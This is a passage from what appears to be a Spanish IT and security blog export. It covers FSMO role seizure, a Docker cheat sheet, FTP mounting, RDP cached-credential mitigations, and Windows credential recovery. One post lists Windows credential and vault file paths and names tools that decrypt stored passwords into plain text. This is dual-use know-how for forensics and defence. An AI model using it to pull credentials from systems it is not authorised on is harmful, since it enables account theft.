localmente. server connections: q fsmo maintenance: seize naming master fsmo maintenance: seize infrastructure master fsmo maintenance: seize PDC fsmo maintenance: seize RID master fsmo maintenance: seize schema master fsmo maintenance: q ntdsutil: q Una vez transferidos los roles FSMO volvemos a comprobar su estado y que se transfirieron correctamente. Figura 6: netdom query fsmo. Purgado de servicios de Active Directory en el caso de que un DC ya no vaya estar operativo en el dominio Link to heading Si se trata de un servidor que ya no estará operativo en el bosque habrá que limpiar o \u0026ldquo;purgar\u0026rdquo; el resto de servicios que puedan estar asociados al DC viejo. 1. Limpiar registros DNS Link to heading Eliminar todos los registros que apunten al DC viejo en toda la jerarquía del Administrador de DNS. Figura 7: Eliminar registros DNS del DC viejo. 2. Limpiar Sitios y Servicios de Active Directory Link to heading Eliminar el servidor DC viejo de \u0026ldquo;Sitios y Servicios de Active Directory\u0026rdquo;. Figura 8: Eliminar registros de \u0026ldquo;Sitios y servicios de Active Directory\u0026rdquo;. 3. Limpiar Active Directory Link to heading Eliminar los objetos de equipos de las OU (Organizational Unit) Computers y Domain Controllers. Figura 9: Eliminar los DC de Active Directory. 4. Cambiar opciones del servicio DHCP Link to heading En el caso de tener el rol del servicio DHCP instalado, eliminar de los servidores DNS de las Opciones de ámbito la dirección IP del DC viejo. Figura 10: Eliminar IP del DC del servicio DHCP. 5. Cambiar direcciones DNS a los equipos de la red interna Link to heading Cambiar las direcciones DNS al resto de máquinas de la red interna con ip estática definida en Windows o Linux ya sean servidores o equipos clientes. Saludos! "},{"title":"Docker Cheat Sheet: comandos y guía de referencia","url":"/posts/docker-cheat-sheet-comandos-referencia/","summary":"Llevo una temporada trabajando con el sistema de contenedores de Docker, poco a poco fui recopilando los comandos de Docker que iba utilizando a través de su web oficial.\nCreé un repositorio para irlo …","tags":["Docker","Cloud","Hardening"],"date":"2018-12-11","content":"Llevo una temporada trabajando con el sistema de contenedores de Docker, poco a poco fui recopilando los comandos de Docker que iba utilizando a través de su web oficial. Creé un repositorio para irlo actualizando paulatinamente con la referencia de estos comandos de Docker. https://github.com/adrianlois/Comandos-Docker-Cheat-Sheet En la medida de lo posible iré actualizando esta entrada con el nuevo contenido que vaya incorporando al repositorio de Github. Instalación Docker en Ubuntu 18.04 Link to heading Instalación Docker Link to heading Actualizar los repositorios existentes. sudo apt update Instalar paquetes previos que permitan a apt usar paquetes a través de HTTPS. sudo apt install apt-transport-https ca-certificates curl software-properties-common Agregar la clave GPG del repositorio oficial de Docker. curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - Agregar el repositorio de Docker en las fuentes de APT. sudo add-apt-repository \u0026#34;deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable\u0026#34; Finalmente, se instala Docker. sudo apt install docker-ce Se comprueba que el daemon de Docker está iniciado y el proceso está habilitado para iniciarse en el arranque. sudo systemctl status docker Si no estuviese iniciado y/o habilitado para el arranque del sistema. sudo systemctl start docker sudo systemctl enable docker Ejecutar el comando Docker sin sudo o desde otro usuario Link to heading De forma predeterminada el comando Docker solo puede ser ejecutado por el usuario root o por un usuario del grupo docker. Donde “username” sería el nombre del usuario. sudo usermod -aG docker username Para comprobar que el usuario forma parte del grupo docker se puede ejecutar. id -nG Referencia de comandos Docker - Docker Cheat Sheet Link to heading https://docs.docker.com/engine/reference/commandline/docker Comandos gestión Docker Link to heading Listar contenedores en ejecución. Listar todos los contenedores en ejecución y parados (-a indica todos). docker ps –a Listar imágenes descargadas en local (-a muestra todas las imágenes incluidas las intermedias). docker images Descargar imagen a caché local desde un repositorio público. docker pull ubuntu:18.04 Loguearse en Docker Hub, será necesario estar autenticado para subir (push) una imagen. docker login docker login -u \u0026lt;usuario\u0026gt; -p \u0026lt;password\u0026gt; Subir una imagen a un repositorio (Docker Hub). docker push \u0026lt;imagen_local\u0026gt; Crear una imagen de un contenedor personalizado en ejecución. docker commit \u0026lt;ID o nombre_contenedor\u0026gt; \u0026lt;nombre_imagen_nueva\u0026gt; Para subir una imagen creada a un repositorio como puede ser Docker Hub, es necesario \u0026ldquo;tagearla\u0026rdquo; antes. docker tag \u0026lt;imagen_local\u0026gt; \u0026lt;nombre_tag_imagen\u0026gt; docker push \u0026lt;nombre_tag_imagen_creada\u0026gt; Construir una imagen a partir de un Dockerfile (\u0026ndash;file será necesario si el nombre del fichero no es \u0026ldquo;Dockerfile\u0026rdquo; y no está situado en el mismo directorio). docker build --tag \u0026lt;nombre_imagen\u0026gt; --file \u0026lt;fichero_dockerfile\u0026gt; Eliminar una imagen local (-f o \u0026ndash;force fuerza la eliminación). docker rmi \u0026lt;id o nombre_imagen\u0026gt; Eliminar un contenedor, si el contenedor está en ejecución será necesario detenerlo (docker stop ) antes de eliminarlo se puede indicar el parámetro -f o \u0026ndash;force (esto fuerza la detención y eliminación del contenedor). docker rm \u0026lt;id o nombre_imagen\u0026gt; Eliminar todos contenedores, redes, imágenes o volúmenes \u0026ldquo;colgantes\u0026rdquo; sin referencia o no utilizados. docker system prune #Parámetros --all #Eliminar todas las imágenes no utilizadas, no solo las que cuelgan. --force #Forzar el eliminado, no pedir confirmación. --volumes #Eliminar volúmenes no utilizados o colgantes. --filter #Proporcionar valores de filtro. Crear e iniciar un contenedor basado en una imagen Ubuntu 18.04, que ejecuta una Shell en modo interactivo (-it) como entrypoint. docker run –name \u0026lt;nombre_contenedor\u0026gt; -h \u0026lt;nombre_hostname\u0026gt; -it ubuntu:18.04 /bin/bash Crear y ejecutar un contenedor con un comando/servicio en segundo plano un comando como entrypoint (-d modo detached, no interactivo) (-c comando dentro del modo interactivo bash). docker run -d --name \u0026lt;nombre_contenedor\u0026gt; -h \u0026lt;hostname\u0026gt; \u0026lt;nombre_imagen\u0026gt; bash -c \u0026#34;\u0026lt;comando\u0026gt;\u0026#34; docker run -d --name mi_web -h web ubuntu_web bash -c \u0026#34;apache2ctl -D FOREGROUND\u0026#34; Crear e iniciar un contenedor en modo interactivo con una Shell (-i interactivo -t asociar una tty). docker run -it --name test debian bash Crear contenedores. El contenedor se crea pero no se inicia (sería necesario usar después docker start). “docker create” dispone de multitud de parámetros. docker create -it --storage-opt size=120G fedora /bin/bash Iniciar, detener y reiniciar contenedores. docker start \u0026lt;id o nombre_imagen\u0026gt; docker stop \u0026lt;id o nombre_imagen\u0026gt; docker restart \u0026lt;id o nombre_imagen\u0026gt; Publicar puertos en contenedores (aunque se ejecute una imagen que ya predefina exposición de puertos, igualmente habría que establecerlos en la ejecución del contenedor). #Publicar el puerto 80 del contenedor en un puerto aleatorio del host. docker run -it --name test -p 80 debian bash #Publicar el puerto 80 del contenedor al 8080 del host. docker run -it --name test -p 8080:80 debian test #Publicar todos los puertos expuestos a puertos aleatorios del host. docker run -it --name test -P debian bash Listar los puertos de contenedores. docker port \u0026lt;id o nombre_imagen\u0026gt; Finalizar (matar) contenedores. docker kill \u0026lt;id o nombre_imagen\u0026gt; Buscar registros de logs de contenedores (-f muestra logs a tiempo real). docker logs -f \u0026lt;id o nombre_imagen\u0026gt; Mostrar los procesos en ejecución de contenedores. docker top \u0026lt;id o nombre_imagen\u0026gt; Buscar imágenes en repositorios (Docker Hub). docker search \u0026lt;término\u0026gt; Importar, exportar y guardar imágenes en un archivo tar. docker save --output \u0026lt;nombre_contenedor\u0026gt; \u0026lt;nombre_empaquetado_contenido.tar\u0026gt; docker export --output \u0026lt;nombre_contenedor\u0026gt; \u0026lt;nombre_empaquetado_contenido.tar\u0026gt; docker import \u0026lt;nombre_empaquetado_contenido.tar\u0026gt; \u0026lt;nombre_contenedor\u0026gt; Cargar una imagen desde un archivo tar o STDIN (Standard Input). docker load --input \u0026lt;test.tar\u0026gt; Gestionar Docker. docker df #Mostrar el uso del disco docker. docker system events o docker events #Mostrar eventos en tiempo real. docker system info o docker info #Mostrar información de todo el sistema. Desactivar procesos de contenedores. docker unpause \u0026lt;id o nombre_imagen\u0026gt; Actualizar la configuración de contenedores. docker update \u0026lt;id o nombre_imagen\u0026gt; Mostrar la versión de Docker. docker version Inspeccionar cambios de archivos o directorios de contenedores. docker diff \u0026lt;id o nombre_imagen\u0026gt; Inspeccionar contenedores (devuelve información de bajo nivel). docker inspect \u0026lt;id o nombre_imagen\u0026gt; Mostrar estadísticas de uso de los recursos de contenedores (CPU, Memoria, I/O, PIDs). docker stats #Muestra todos los contenedores actuales en ejecución. docker stats \u0026lt;id o nombre_imagen\u0026gt; Gestionar volúmenes Docker. docker volume create #Crear un volumen. docker volume inspect #Mostrar información detallada de volúmenes. docker volume ls #Listar volúmenes. docker volume rm #Eliminar volúmenes. docker volume prune #Eliminar volúmenes locales no utilizados. Gestión de redes Docker. docker network create #Crear una red. docker network connect #Conectar un contenedor a una red. docker network disconnect #Desconectar un contenedor de una red. docker network inspect #Mostrar información detallada de redes. docker network ls #Listar redes. docker network rm #Eliminar redes. docker network prune #Eliminar todas las redes no utilizadas. Montar un volumen de un directorio local en un contenedor (útil para trabajar con volúmenes de datos que se están editando habitualmente). docker run -it -v /home/user/codigoWeb:/var/www/html debian bash Crear un contenedor que usará un volumen asociado a otro contenedor existente. #Crear el contenedor sin bash, simplemente para tenerlo como referencia para crear posteriormente otros contenedores basados en este usando su volumen de datos como referencia. docker run -it -v /tmp:/var/www/html --name container_code debian /bin/false #Asociar el volumen creado en el contenedor anterior con un nuevo contenedor usando el ID del contenedor. docker run -it --name code -h code --volumenes-from ec3456a3d16cb debian bash Copiar datos desde el contenedor al host local (opcional -a \u0026ndash;archive copia toda la información uid/gid). docker cp -a \u0026lt;id_contenedor\u0026gt;:\u0026lt;path_contenedor\u0026gt; \u0026lt;path_host_local\u0026gt; Copiar desde el host local al contenedor. docker cp -a \u0026lt;path_host_local\u0026gt; \u0026lt;id_contenedor\u0026gt;:\u0026lt;path_contenedor\u0026gt; Ejecutar un comando en un contenedor en ejecución. Por ejemplo una Shell bash en modo interactivo (útil para acceder a un contenedor en ejecución). https://docs.docker.com/engine/reference/commandline/exec docker exec -it nombre_contenedor /bin/bash docker exec -it nombre_contenedor /bin/sh Salir de un contenedor con bash interactivo # Con la combinación de teclas: Ctrl+p+q # exit: si el contenedor se inició en modo --detach o -d Live restore Docker Permite que los contenedores permanezcan en ejecución aunque el daemon no esté disponible (por ejemplo en un reinicio del daemon dockerd). Ayuda a reducir la inactividad del contenedor debido a fallas del daemon, interrupciones planificadas o actualizaciones. https://docs.docker.com/config/containers/live-restore Para habilitar es necesario crear el fichero “/etc/docker/daemon.json”, con el contenido. { \u0026#34;live-restore\u0026#34;: true } Iniciar contenedores automáticamente Iniciar automáticamente un contenedor con “\u0026ndash;restart always” se trata de una política de reinicio que siempre reinicia el contenedor si este se detiene (útil para auto iniciar el contenedor después de reiniciar la máquina host). docker run -d --restart always --name test -h test debian #Políticas de reinicio automático de contenedores no #No reinicia automáticamente el contenedor. (valor por defecto) on-failure #Reinicia el contenedor si sale debido a un error. unless-stopped #Reinicia el contenedor a menos que se detenga explícitamente o el propio Docker se detenga o reinicie. always #Siempre reinicia el contenedor si se detiene. Comandos Docker Swarm Link to heading Referencia de comandos Docker Swarm. https://docs.docker.com/engine/reference/commandline/swarm https://docs.docker.com/engine/reference/commandline/swarm_update Iniciar, unirse, dejar y actualizar un cluster Swarm. docker swarm init #Inicializar un Swarm. docker swarm join #Unirse a un Swarm como nodo worker y/o manager (dependiendo si se trata de un –token manager o worker). docker swarm leave #Dejar un Swarm. docker swarm update #Actualizar un Swarm, dispone de varias opciones. docker swarm join-token #Gestionar join tokens Comandos Docker Machine Link to heading Referencia de comandos Docker Machine. https://docs.docker.com/machine/reference docker-machine create #Crear un nodo. docker-machine kill #Detener un nodo. docker-machine ls #Listar nodos. docker-machine ssh #Iniciar sesión en un nodo activo. docker-machine rm #Eliminar un nodo. docker-machine env #Establecer variables de entorno para definir que docker debe ejecutar un comando en una máquina en particular. Crear dos nodos usando driver de Amazon Web Services, estableciendo región y zona de disponibilidad, red VPC y tamaño de disco. docker-machine create --driver amazonec2 --amazonec2-region \u0026#34;us-east-2\u0026#34; --amazonec2-zone \u0026#34;b\u0026#34; --amazonec2-vpc-id vpc-0d1dd38... --amazonec2-root-size 8 test Comandos Docker Node Link to heading Referencia de comandos Docker Node. https://docs.docker.com/engine/reference/commandline/node docker node inspect #Mostrar información detallada en uno o más nodos. docker node ls #Listar nodos del Swarm. docker node ps #Enumerar las tareas que se ejecutan en uno o más nodos. docker node rm #Eliminar uno o más nodos del Swarm. docker node update #Actualizar un nodo. Promover un nodo worker a manager. docker node promote \u0026lt;nodo\u0026gt; Degradar un nodo manager a worker. docker node demote \u0026lt;nodo\u0026gt; Cambiar nodo a solo Manager y no Manager+Worker (que sería la función por defecto). docker node update --availability drain \u0026lt;nodo\u0026gt; Docker node update Referencia de comandos Docker node update. https://docs.docker.com/engine/reference/commandline/node_update --availability #Disponibilidad del nodo (\u0026#34;active\u0026#34;|\u0026#34;pause\u0026#34;|\u0026#34;drain\u0026#34;). --label-add #Agregar o actualizar una etiqueta de nodo (key=value). --label-rm #Eliminar una etiqueta de nodo si existe. --role #Rol del nodo (\u0026#34;worker\u0026#34;|\u0026#34;manager\u0026#34;). Comandos Docker Service Link to heading Referencia de comandos Docker Service. https://docs.docker.com/engine/reference/commandline/service docker service create #Crear un nuevo servicio. docker service inspect #Mostrar información detallada sobre uno o más servicios. docker service logs #Obtener los registros de un servicio o tarea. docker service ls #Listar servicios. docker service ps #Listar las tareas de uno o más servicios. docker service rm #Eliminar uno o más servicios. docker service rollback #Revertir cambios a la configuración de un servicio. docker service scale #Escalar uno o múltiples servicios replicados. docker service update #Actualizar un servicio. Crear un servicio. Se debe crear desde un nodo manager. *--publish*: Publicar puertos *--replicas*: Número de réplicas totales a repartir entre los nodos existentes. *--update-parallelism*: Ejecución del número de contenedores/tareas por nodo. *--update-delay*: Retraso entre las actualizaciones (ms|s|m|h) *--restart-condition on-failure*: Reiniciar la tarea en caso de fallo. *--constraint node.role manager*: Los nodos solo admitirán tareas de un nodo manager test: Imagen a ejecutar. docker service create --name test -p 80:80 --replicas 3 --update-parallelism 1 --update-delay 5s --restart-condition on-failure --constraint \u0026#39;node.role == manager\u0026#39; test Otra forma de crear un servicio es añadiendo \\ para un salto de línea y seguir definiendo los parámetros del servicio. docker service create \\ --name test \\ --publish 80:80 \\ --replicas 3 \\ --update-parallelism 1 \\ --update-delay 5s \\ --restart-condition on-failure \\ --constraint \u0026#39;node.role == manager\u0026#39; \\ test Docker service update Link to heading Referencia de comandos Docker service update. https://docs.docker.com/engine/reference/commandline/service_update Actualizar réplicas de un Swarm de modo que se pueda controlar un escalado elástico. docker service update --replicas=50 test docker service scale test=50 Forzar actualización de un servicio, incluso si ningún cambio lo requiere. Útil para actualizar un cluster de nodos Swarm en los que se actualizaron réplicas en un servicio con un paralelismo concreto y Docker Swarm ignoró el balanceo de tareas (réplicas del servicio) a nuevos nodos worker unidos al Swarm. docker service update --force test Comandos Docker Compose Link to heading Referencia de comandos Docker Compose. https://docs.docker.com/compose/gettingstarted (docker-compose \u0026ndash;help) docker-compose up #Crear y ejecutar los servicios y ver el proceso. docker-compose up -d #Crear y ejecutar los servicios en segundo plano, seguir desde la misma tty. docker-compose run \u0026lt;servicio\u0026gt; \u0026lt;comando\u0026gt; #Ejecutar un comando único para un servicio concreto. docker-compose stop #Parar todos los servicios. docker-compose down #Eliminar los servicios. docker-compose down --volumes #Eliminar los servicios y los volúmenes asociados. docker-compose ps #Listar los servicios. docker-compose ps --services #Listar solo los nombres de los servicios. docker-compose restart #Reiniciar los servicios. Docker-compose rm #Parar y eliminar los servicios. Comandos Docker Stack Link to heading Referencia de comandos Docker Stack. https://docs.docker.com/engine/reference/commandline/stack docker stack deploy #Implementar o actualizar un stack. docker stack ls #Lista de pilas. docker stack ps #Listar las tareas en la pila. docker stack rm #Eliminar una o más pilas. docker stack services #Listar los servicios en la pila. Implementar o actualizar un stack a partir de un fichero “Docker-Compose”. Debe ejecutarse desde un nodo manager. docker stack deploy --compose-file docker-compose.yml test Saludos! "},{"title":"Docker Swarm en AWS con Auto Scaling Groups y Elastic Load Balancing","url":"/posts/docker-swarm-aws-auto-scaling-groups-elastic-load-balancing/","summary":" Implementación de Docker Swarm en Amazon Web Services usando Auto Scaling Groups y Elastic Load Balancing Link to heading En esta entrada quiero hacer referencia al proyecto de fin de curso del ciclo …","tags":["Cloud","Docker","Redes","Hardening"],"date":"2018-12-06","content":" Implementación de Docker Swarm en Amazon Web Services usando Auto Scaling Groups y Elastic Load Balancing Link to heading En esta entrada quiero hacer referencia al proyecto de fin de curso del ciclo superior de Administración de Sistemas Informáticos y Redes que presenté en Noviembre de 2018. Repositorio Github Link to heading https://github.com/adrianlois/Docker-Swarm-AWS-ASG-ELB Documentación del proyecto Link to heading https://drive.google.com/file/d/1kCHZ6RxvvtPaDUQYf78aArt2P65kaC7Q Presentación Slides Link to heading https://www.slideshare.net/adrianlois/implementacin-docker-swarm-en-amazon-web-services-usando-auto-scaling-groups-y-elastic-load-balancing-124979842 Video demo de la prueba de concepto (PoC) Link to heading https://www.youtube.com/watch?v=HzsBiJjgrOo Saludos! "},{"title":"Montar FTP/FTPS remoto en Linux con CurlFtpFS y SSHFS","url":"/posts/montar-ftp-ftps-remoto-linux-curlftpsfs-sshfs/","summary":"Para montar una carpeta de un directorio FTP o FTPS remoto en un sistema Linux y acceder a ella de forma local como un volumen más del sistema. Se puede usar CurlFtpFS o SSHFS.\nCurlFtpFS Link to …","tags":["Hardening","Blue Team","FTP","FTPS","SSH","Backups"],"date":"2018-11-16","content":"Para montar una carpeta de un directorio FTP o FTPS remoto en un sistema Linux y acceder a ella de forma local como un volumen más del sistema. Se puede usar CurlFtpFS o SSHFS. CurlFtpFS Link to heading CurlFtpFS lo usaremos si no disponemos de conexión SSH hacia el servidor FTP remoto (la transferencia de datos es más lenta). Instalamos curlftpfs. sudo apt install curlftpfs Creamos el directorio en el que montaremos el FTP/FTPS. sudo mkdir /backups Montamos la carpeta remota FTP en el sistema local. sudo curlftpfs -o allow_other usuarioftp:password@servidorftp.com /backups -v Si queremos que se monte de forma persistente en el sistema, agregamos una nueva entrada al fichero /etc/fstab. Cambiaremos el uid según corresponda al usuario que tendrá acceso a la carpeta. curlftpfs#servidorftp.com /backups fuse auto,user,uid=1000,allow_other,_netdev 0 0 Para desmontar la carpeta. fusermount -u /backups o umount /backups CurlFtpFS cuenta con múltiples opciones, para consultar su ayuda. curlftpfs --help o man curlftpfs SSHFS Link to heading SSHFS lo usaremos si disponemos de una conexión SSH hacia el servidor FTP remoto (la transferencia de datos es más rápida que CurlFtpFS). Instalamos sshfs. sudo apt install sshfs Creamos el directorio en el que montaremos el FTP/FTPS. sudo mkdir /backups Montamos la carpeta remota FTP en el sistema local. sudo sshfs -o allow_other usuarioftp@servidorftp.com:/ /backups Nos pedirá que aceptemos el fingerprint y que introduzcamos el password de usuario. Con \u0026ldquo;df -h\u0026rdquo; podremos ver el directorio remoto FTP/FTPS montado en el directorio /backup (en este caso) como un volumen del sistema local. Para montarlo permanentemente en el fichero /etc/fstab lo haremos con la misma sintaxis que en el caso de CurlFtpFS. SSHFS cuenta con opciones muy similares a las de CurlFtpFS, para consultar su ayuda. sshfs --help o man sshfs Saludos! "},{"title":"Credenciales almacenadas en caché de RDP: riesgos y mitigación","url":"/posts/credenciales-almacenadas-cache-rdp-riesgos-mitigacion/","summary":"En el artículo anterior había comentado sobre la Gestión y recuperación de credenciales almacenadas en recursos y servicios de Windows. En relación a esto quiero abordar el caso concreto del …","tags":["Hardening","Blue Team","RDP","GPO","Regedit","Hashes"],"date":"2018-11-03","content":"En el artículo anterior había comentado sobre la Gestión y recuperación de credenciales almacenadas en recursos y servicios de Windows. En relación a esto quiero abordar el caso concreto del almacenamiento de credenciales en caché para el servicio de RDP, su comportamiento por defecto, riesgos de seguridad que esto supone y cómo mitigarlos correctamente. Windows permite de forma predeterminada que el cliente de Escritorio Remoto (RDP) recuerde las credenciales introducidas en sesiones previamente establecidas. Si el usuario marca la opción \u0026ldquo;Recordar mis credenciales\u0026rdquo;, el sistema almacena el nombre de usuario y la contraseña de forma cifrada en el Administrador de Credenciales (Credential Manager) bajo entradas como TERMSRV/\u0026lt;host\u0026gt;, lo que permite reconexiones automáticas sin volver a autenticarse. Además, en el registro de Windows se almacena el historial de hosts conectados y los usuarios utilizados, lo que expone y hace accesible esta información. Registro del historial de conexiones RDP Link to heading En el registro de Windows se guarda el historial de hosts e IPs conectados mediante RDP, además del hostname y el último nombre de usuario utilizado. Aquí podemos ver y borrar la información de sesiones RDP almacenadas. HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default Este comportamiento afecta únicamente al cliente RDP, no al servidor (host), y es independiente del tipo de cuenta (local o dominio). Sin embargo, en sistemas unidos a dominio, Windows también almacena hashes de inicio de sesión en caché (por defecto hasta 10) mediante la política CachedLogonsCount, lo que permite autenticaciones si el cliente pierde la conexión al controlador de dominio. Esta funcionalidad está más relacionada con el inicio de sesión interactivo que con RDP, pero representa otro vector donde se conservan credenciales temporalmente. Si bien estas funcionalidades están diseñadas para mejorar la experiencia del usuario, también representan riesgos considerables en la seguridad del sistema si no se controlan adecuadamente. La exposición de credenciales guardadas, la persistencia de accesos automáticos en sistemas compartidos o comprometidos, y la falta de visibilidad sobre estos almacenamientos hacen que sea fundamental aplicar medidas de mitigación concretas, como el bloqueo del guardado de contraseñas y el ajuste del número de logons almacenados en caché. Riesgos identificados en RDP por el almacenamiento de credenciales en caché Link to heading Actualizado el 25/09/2024 En el Protocolo de Escritorio Remoto (RDP) Windows permite a los usuarios iniciar sesión incluso con credenciales revocadas debido a un fallo en la validación de contraseñas. Esto ocurre especialmente en equipos unidos a un dominio que, en el momento de la conexión RDP, no tienen acceso o perdieron conexión al controlador de dominio para verificar en tiempo real si las credenciales siguen siendo válidas. Siempre que el usuario haya iniciado sesión previamente en ese host remoto con esas credenciales cuando aún eran vigentes, el sistema permite el acceso utilizando las credenciales almacenadas en caché, aunque hayan sido revocadas o modificadas, lo que puede ser aprovechado por un atacante u otro usuario del sistema para obtener acceso no autorizado a través de un inicio de sesión interactivo a través de RDP. Mitigar riesgo: Evitar el almacenamiento de credenciales Link to heading Ruta GPO: Configuración del equipo \u0026gt; Plantillas administrativas \u0026gt; Componentes de Windows \u0026gt; Cliente de Conexión de Escritorio remoto No permitir guardar contraseñas \u0026gt; Habilitada Esto oculta la opción \u0026ldquo;Recordar mis credenciales\u0026rdquo; en el cliente RDP y evita que se almacenen nuevas credenciales en el Administrador de credenciales (TERMSRV/\u0026lt;host\u0026gt;). No afecta a credenciales previamente guardadas, por lo que se debe eliminar el histórico de credenciales que ya estuvieran almacenadas. Equivalente en Registro: HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services \u0026ldquo;DisablePasswordSaving\u0026rdquo; = dword:00000001 Mitigar riesgo: Limitar el almacenamiento de inicios de sesión anteriores Link to heading Ruta GPO: Configuración del equipo \u0026gt; Configuración de Windows \u0026gt; Configuración de seguridad \u0026gt; Directivas locales \u0026gt; Opciones de seguridad Inicio de sesión interactivo: Número de inicios de sesión anteriores que se almacenarán en caché \u0026gt; Deshabilitada. Esta política solo está disponible en plantillas ADMX de equipos unidos a dominio. Controla la cantidad de veces que Windows almacena en caché las credenciales de los usuarios de dominio para permitirles iniciar sesión sin conexión al controlador de dominio. Equivalente en Registro: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon CachedLogonsCount = \u0026ldquo;0\u0026rdquo; Importante: Esto solo afecta a cuentas de dominio y solo en inicio de sesión interactivo, de forma indirecta también afecta al acceso RDP solo si la conexión al dominio no está disponible. Medidas de seguridad adicionales Link to heading Actualizado el 25/09/2024 Implementar autenticación multifactor (MFA) a través de herramientas de terceros o nativas como la integración de Microsoft Entra ID MFA con RDP mediante extensión NPS (Network Policy Server), esto añade una capa de seguridad, impidiendo el acceso no autorizado incluso si las credenciales son revocadas. Por otro lado, se debe realizar un monitoreo y auditoría que permita identificar intentos de acceso sospechosos, intentos de fuerza bruta, ayudando a prevenir ataques y proporcionando visibilidad sobre actividades anómalas en el servicio RDP. Ambas medidas refuerzan la protección y reducen el riesgo de explotación. Conclusión Link to heading Windows guarda por defecto las credenciales de RDP y el historial de conexiones en el equipo cliente. Aunque esto mejora la usabilidad y facilidad operativa del usuario, representa un riesgo alto de seguridad. Desactivar el guardado de contraseñas, limitar la caché de logons y limpiar manualmente los rastros de sesiones previas ayuda a bastionar y fortalecer la postura de seguridad del sistema. Saludos! "},{"title":"Gestión y recuperación de credenciales almacenadas en Windows","url":"/posts/gestion-recuperacion-credenciales-windows/","summary":"Siguiente artículo relacionado:\nCredenciales almacenadas en caché en RDP: Comportamiento por defecto, riesgos de seguridad y mitigación Existen varias formas de poder visualizar las credenciales …","tags":["Post-Explotación","DFIR","Análisis Forense","RDP","Cracking","Hashes","Nirsoft"],"date":"2018-10-12","content":"Siguiente artículo relacionado: Credenciales almacenadas en caché en RDP: Comportamiento por defecto, riesgos de seguridad y mitigación Existen varias formas de poder visualizar las credenciales dominio\\usuario y password de los recursos de red almacenados, servicios de RDP entre otro tipo de credenciales almacenadas de Windows. Para que este almacenamiento sea posible debemos tener habilitado y en ejecución (por defecto ya suele estarlo) el servicio de \u0026ldquo;Administrador de credenciales\u0026rdquo; (VaultSvc) que proporciona el almacenamiento seguro y recuperación de credenciales de usuarios. Hace uso de LSASS (Local Security Authority Subsystem Service) responsable de la política de seguridad en el sistema, audita y verifica quién inicia sesión en sistemas Windows, cambios de contraseñas y crea tokens de acceso. Figura 1: Servicio de administrador de credenciales. Cuando se accede a un recurso de red el cual nos solicita usuario y contraseña mediante una autenticación NTLM y se marca el checkbox de \u0026ldquo;recordar esta contraseña\u0026rdquo; esta se almacena en un fichero cifrado en nuestro perfil de usuario añadiéndose a Windows Vault. C:\\Users\\USUARIO\\AppData\\Roaming\\Microsoft\\Credentials C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials C:\\Users\\USUARIO\\AppData\\Local\\Microsoft\\Vault C:\\Windows\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault C:\\ProgramData\\Microsoft\\Vault Administrador de credenciales Link to heading Una de las formas más habituales para visualizar las credenciales almacenadas de Windows es a través del Administrador de credenciales situado en el panel de control. Ahí veremos tanto las credenciales de Windows como las credenciales web, en caso de que tengamos guardadas credenciales de sitios web en Internet Explorer únicamente. Figura 2: Administrador de credenciales de Windows. KRShowKeyMgr Link to heading Otra forma de gestionar estas credenciales es a través del \u0026ldquo;KRShowKeyMgr\u0026rdquo;, se puede ver las credenciales almacenadas, borrarlas y agregar nuevas de forma gráfica. Para invocar esta ventana escribimos en una cmd o una ventana ejecutar: rundll32.exe keymgr.dll, KRShowKeyMgr Figura 3: KRShowKeyMgr - Administrador de nombres de usuario y contraseñas almacenadas. cmdkey Link to heading Si no tenemos acceso (por restricciones GPO de dominio o similar) al panel de control o poder invocar desde ejecutar, pero si a una consola cmd. Podemos ver estas credenciales a través del comando cmdkey. Realmente esto es lo que se está usando de forma subyacente a las interfaces gráficas anteriores. Figura 4: cmdkey - Administrador de credenciales. Mostrando la ayuda con \u0026ldquo;cmdkey /?\u0026rdquo; vemos las posibilidades que tenemos. Para mostrar la lista de credenciales disponibles: cmdkey /list cmdkey /list:destino Para crear credenciales de dominio: cmdkey /add:destino /user:usuario /pass:contraseña cmdkey /add:destino /user:usuario /pass cmdkey /add:destino /user:usuario cmdkey /add:destino /smartcard Para crear credenciales genéricas: El modificador /add puede reemplazarse por /generic para crear credenciales genéricas Para eliminar credenciales existentes: cmdkey /delete:destino Para eliminar credenciales RAS (Remote Access Service): cmdkey /delete /ras Herramientas de terceros Link to heading Todo lo anterior son formas nativas del sistema de poder gestionar estas credenciales almacenadas. Pero no permite visualizar las contraseñas en texto plano. Para ello podemos usar algunas herramientas de terceros. Nirsoft desarrolla multitud de herramientas de este tipo para sistemas Windows. Detección como PUA/hacktool La mayoría de utilidades de Nirsoft que descifran credenciales almacenadas (Mail PassView, ChromePass, WebBrowserPassView, etc.) están firmadas como PUA o hacktool por Defender y otros AV/EDR. Espera bloqueos, cuarentenas y alertas en SIEM si las ejecutas en una máquina monitorizada. CredentialsFileView descifra y muestra las contraseñas en texto plano almacenadas en los archivos de credenciales de Windows (C:\\Users\\USUARIO\\AppData\\Roaming\\Microsoft\\Credentials). Figura 5: Credentials File View. VaultPasswordView descifra las contraseñas y otros datos almacenados en Windows Vault (C:\\Users\\USUARIO\\AppData\\Local\\Microsoft\\Vault) del sistema actual o de una unidad externa que se le indique. Figura 6: Vault Password View. EncryptedRegView según se le indique escanea el registro de Windows del disco local o de un disco externo. Busca datos cifrados con DPAPI (Data Protection API), intenta descifrarlos y mostrarlos en texto plano. No solo mostrará contraseñas almacenadas sino también otro tipo de datos que estuviesen cifrados de productos de Microsoft y también de terceros. Figura 7: Encrypted Registry View. Network Password Recovery similar a CredentialsFileView con la diferencia de que este solo muestra aquellas credenciales que afecten con recursos de red. Figura 8: Network Password Recovery. Saludos! "},{"title":"Seguridad Wi-Fi: fuerza bruta al sistema WPA (Wi-Fi Protected Access)","url":"/posts/seguridad-wifi-fuerza-bruta-wpa-wi-fi-protected-access/","summary":"Actualmente ya hay suficiente información sobre este tipo de técnicas de ataque para comprometer la seguridad de redes WPA.\nRecientemente he tenido que realizar una auditoría a redes Wi-Fi y revisando …","tags":["Pentesting","Red Team","WiFi","Redes","Fuerza bruta","Cracking","Aircrack-ng","MITRE 